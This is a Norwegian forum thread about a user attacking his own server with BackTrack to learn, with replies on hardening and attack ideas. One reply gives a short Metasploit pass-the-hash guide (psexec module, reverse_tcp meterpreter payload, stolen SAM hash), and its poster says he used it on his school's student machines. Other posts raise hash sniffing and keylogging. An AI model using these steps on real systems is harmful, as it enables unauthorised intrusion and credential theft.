Bortkasta tid. Vit kva tenester som kjører, og vit kva versjoner som kjører, og eventuelle sikkerhetshull i dei. Med din metodikk vil du kun finne relativt gamle og uviktige hull, eller dei du tilfeldigvis tester for.

Skru av alt av tjenester du ikkje bruker, og les om dei du bruker så har du brått et sikkert oppsett.

Første dagen kommer hovedsakelig til å gå til å installere og oppdatere BT. (mye annet å gjøre) Orker ikke å kjøre live-distro i en hel uke, så da bruker jeg heller litt tid på å installere det.

Det er ikke noe enkel måte jeg kan bevise at dette faktisk er min server på. Kan jo alltids laste opp et bilde fra et eller annet, men det kan jo like godt være tatt fra et annet sted. Kan få vitner fra forumet som vet om dette til å gå god for meg, men igjen, de kan jo like godt være betalt av meg for å si det
Hensikten med det er å lære!

Jeg har jo mulighet for å installere ekstra tjenester da! Så noe må jeg vel få til etter hvert. Cane & Able må vel fungere til et eller annet.
Har hørt det skal være en måte der man kjører wireshark og snapper opp hashen en bruker sender til serveren når han logger seg på, og at man da kan sende akkurat samme hashen igjen, istedenfor passord. Noen som har hørt om det??

Tenker jeg etterhvert også skal prøve å bruke trådløst tastatur på klienten og "keylogge" dette

Sett opp serveren som en honeypot og og bekreft at vi andre kan prøve oss, så ser vi hvem som kommer seg inn og klarer å holde fortet

Prosessen må selvsagt dokumenteres i ettertid.

Det du snakker om er en metode som kalles "Pass the Hash". Det dette innebærer er at du må på en eller annen måte skaffe sam-hashen på passordet til administratorbrukeren på serveren, for så å bruke denne til å logge deg inn.

Siden du bruker BT4 er dette rimelig lett siden BT4 inneholder metaslpoit. Kjapp guide på hvordan du gjør dette:

*Fyr opp metasploit. (msfconsole i terminalen/terminator)
*Skriv "use windows/smb/psexec" og trykk enter. Da loader du en exploit som lar deg misbruke dette sikkerhetshullet.
* skriv "set payload "windows/meterpreter/reverse_tcp" hvis du ikke gjør dette er det ikke noe serlig du får gjort annet enn å kunne si "hei, jeg logget meg på serveren, men kan ikke gjøre noe"
* skriv "set lhost dinip","set rhost ipadressen til serveren" og "set smbpass samhashen" og trykk enter. Hvis serveren ikke er sikret mot dette vil du komme deg rett inn. Tror serveren må være satt opp i et domene for at det skal fungere, men er usikker når det kommer til akkurat dette.

Vet at denne metoden fungerer da jeg selv gjorde akkurat dette på elevmaskinene på skolen. Alle hadde samme adminpassord...

Prøver å sniffe etter md5 hashen på nettverket, noe som ikke har gått så veldig bra. Noen tips til hvilket program jeg bør bruke??
kjørt en liten nmap

Kvifor les du ikkje det eg skreiv over? Finn ut kva versjoner av ting som lytter på nettet, google dei, og les gjennom sikkerhetsbulletiner.

Og md5-hash på nettverket? Til å sniffe nettverkspakker kan du jo bruke wireshark, men du har jo ikkje konsept om kva du gjer på...